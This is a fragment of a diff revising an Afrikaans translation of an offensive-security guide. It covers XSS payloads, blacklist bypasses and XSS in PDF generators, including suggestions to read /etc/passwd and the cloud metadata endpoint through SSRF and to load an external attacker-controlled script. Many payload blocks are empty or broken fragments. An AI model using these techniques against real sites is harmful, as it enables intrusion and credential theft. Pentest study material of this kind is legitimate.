dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen). -### Pasgemaakte tags +### Aangepaste tags -As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` kenmerk uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**: +As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**: ``` /?search=#x ``` ### Swartlys Bypasses -As 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks: +As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks: ```javascript //Random capitalization ` nie) -```markup +**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die eienskap `href` aanvaar** en in **meeste** van die etikette wat die **eienskap `src`** aanvaar (maar nie ``) +```html
@@ -377,15 +377,15 @@ Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten ```javascript
//No safari @@ -422,8 +422,8 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor: -```markup +Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, solank jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor: +```html ``` **Die XSS payload sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`** @@ -452,7 +452,7 @@ As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort inter Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` -Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind +Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy vind, byvoorbeeld > .test {display:block; color: blue; width: 100%\} @@ -476,7 +476,7 @@ As jou kode binne `` ```javascript ``` -Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skripte te verstaan en uit te voer, word slegs daarna uitgevoer. +Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer. ### Binne JS-kode @@ -496,15 +496,15 @@ Dit kan **abused** word met: ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` -```````````````javascript +```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } -loop`````````````` -``````````````` +loop`` +``` ### Gecodeerde kode-uitvoering -```markup +```html @@ -36,7 +36,7 @@ Neem ook kennis dat jy in 'n gewone uitbuiting **die geskepte pdf kan sien/aflaa ### SVG Enige van die vorige of volgende payloads kan binne hierdie SVG-payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein verkry en 'n ander een wat toegang tot die metadata-eindpunt verkry, word as voorbeelde gegee. -```markup +```html @@ -63,7 +63,7 @@ alert(1); Jy kan 'n baie **ander SVG payloads** vind in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ### Pad openbaarmaking -```markup +```html @@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing --> ### Laai 'n eksterne skrip Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaarheid te misbruik om die bot 'n skrip te laat laai wat jy plaaslik beheer. Dan sal jy in staat wees om die payload plaaslik te verander en die bot dit elke keer met dieselfde kode te laat laai. -```markup +```html ')"/> ``` @@ -82,7 +82,7 @@ Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaar > Verander `file:///etc/passwd` na `http://169.254.169.254/latest/user-data` byvoorbeeld om **te probeer om 'n eksterne webblad te bereik (SSRF)**. > > As SSRF toegelaat word, maar jy **kan nie** 'n interessante domein of IP bereik nie, [kyk na hierdie bladsy vir potensiële omseilings](../ssrf-server-side-request-forgery/url-format-bypass.md). -```markup +```html ``` -```markup +```html ``` -```markup +```html @@ -112,11 +112,11 @@ xhzeem.send(); ``` -```markup +```html ``` ### Bot vertraging -```markup +```html